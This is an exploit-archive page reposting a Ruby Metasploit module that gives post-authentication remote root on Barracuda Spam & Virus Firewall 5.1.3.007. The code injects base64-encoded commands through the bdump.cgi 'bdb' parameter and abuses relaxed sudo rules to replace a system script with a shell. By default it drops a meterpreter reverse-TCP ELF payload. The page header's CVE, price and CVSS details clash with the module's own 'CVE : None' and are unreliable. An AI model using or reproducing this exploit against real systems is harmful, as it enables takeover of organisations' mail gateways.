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Barracuda Spam And Virus Firewall 5.1.3.007 Remote Root

CVE Category Price Severity
CVE-2019-7042 CWE-269 $4500 High
Author Risk Exploitation Type Date
Mario Ballano Barcena Critical Remote 2016-07-23
CVSS EPSS EPSSP
CVSS:4.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.59488 0.967709

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016070175

Below is a copy:

Barracuda Spam And Virus Firewall 5.1.3.007 Remote Root# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort [email protected] 
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/landing/pages/spamfirewall/
# Version: Spam and Virus Firewall <= 5.1.3.007
# Tested on: Spam & Virus Firewall 5.1.3.007 
# CVE : None.

require 'msf/core'
require 'date'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit',
'Description'    => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
 commands while escalating to root do to relaxed sudo configuration on the local 
machine.
},
'Author'         => [ 'xort' ], # disclosure and exploit module
'References'     => [ [ 'none', 'none'] ],
'Platform'       => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Spam Firewall firmware: 5x', {}]],
'DefaultTarget'  => 0 ))

register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
         OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end

def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )

        # vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)

# send request
        res = send_request_cgi(
              {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
      'vars_post' =>
        {
          'password_clear' => password_clear,
            'real_user' => "",
            'login_state' => "out",
            'enc_key' => enc_key,
            'et' => et,
            'locale' => "en_US",
            'user' => username,
            'password' => Digest::MD5.hexdigest(username+enc_key),
            'enctype' => "MD5",
            'password_entry' => "",
        }
                }, timeout)

        # get rid of first yank 
        password = res.body.split('\n').grep(/(.*)id="password" value="(.*)"/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)id="et" value="([^"]+)"/){$2}[0]

return password, et
end

def run_command(username, password, et, cmd)

                # file to replace
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh"

sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" 
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " 

vprint_status( "Running Command...\n" )

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo ""
                b64decode2 = "" | base64 -d >" + b64dumpfile

                # base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd) 

                # Create injection string. 
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile

                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile

vprint_status( "sending..." )
        res = send_request_cgi({
            'method' => 'GET',
           'uri'    => "/cgi-mod/bdump.cgi",
   'headers' => 
{
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept-Language' => "en-US,en;q=0.5"
},
    'vars_get' => {
            'password' => password, 
            'et' => et,
            'user' => username,
            'role' => 'admin',
'_dc' => '',
            'bdb' => '`' + injection_string + '`',
            'locale' => 'en_US'
        }
        })
end

def exploit

# params
timeout = 1550;

                real_user = "";
et = Time.now.to_i  
user = datastore['USERNAME']
password = datastore['PASSWORD']

# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)

# clean up hanging prior request 
run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9"))
sleep(5)

                #if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?

cmd = datastore['CMD']

# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') 

# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf "#{encoded_cmd}" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
        encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\x12') 

# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf "#{encoded_elf}" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

handler
end
end
end


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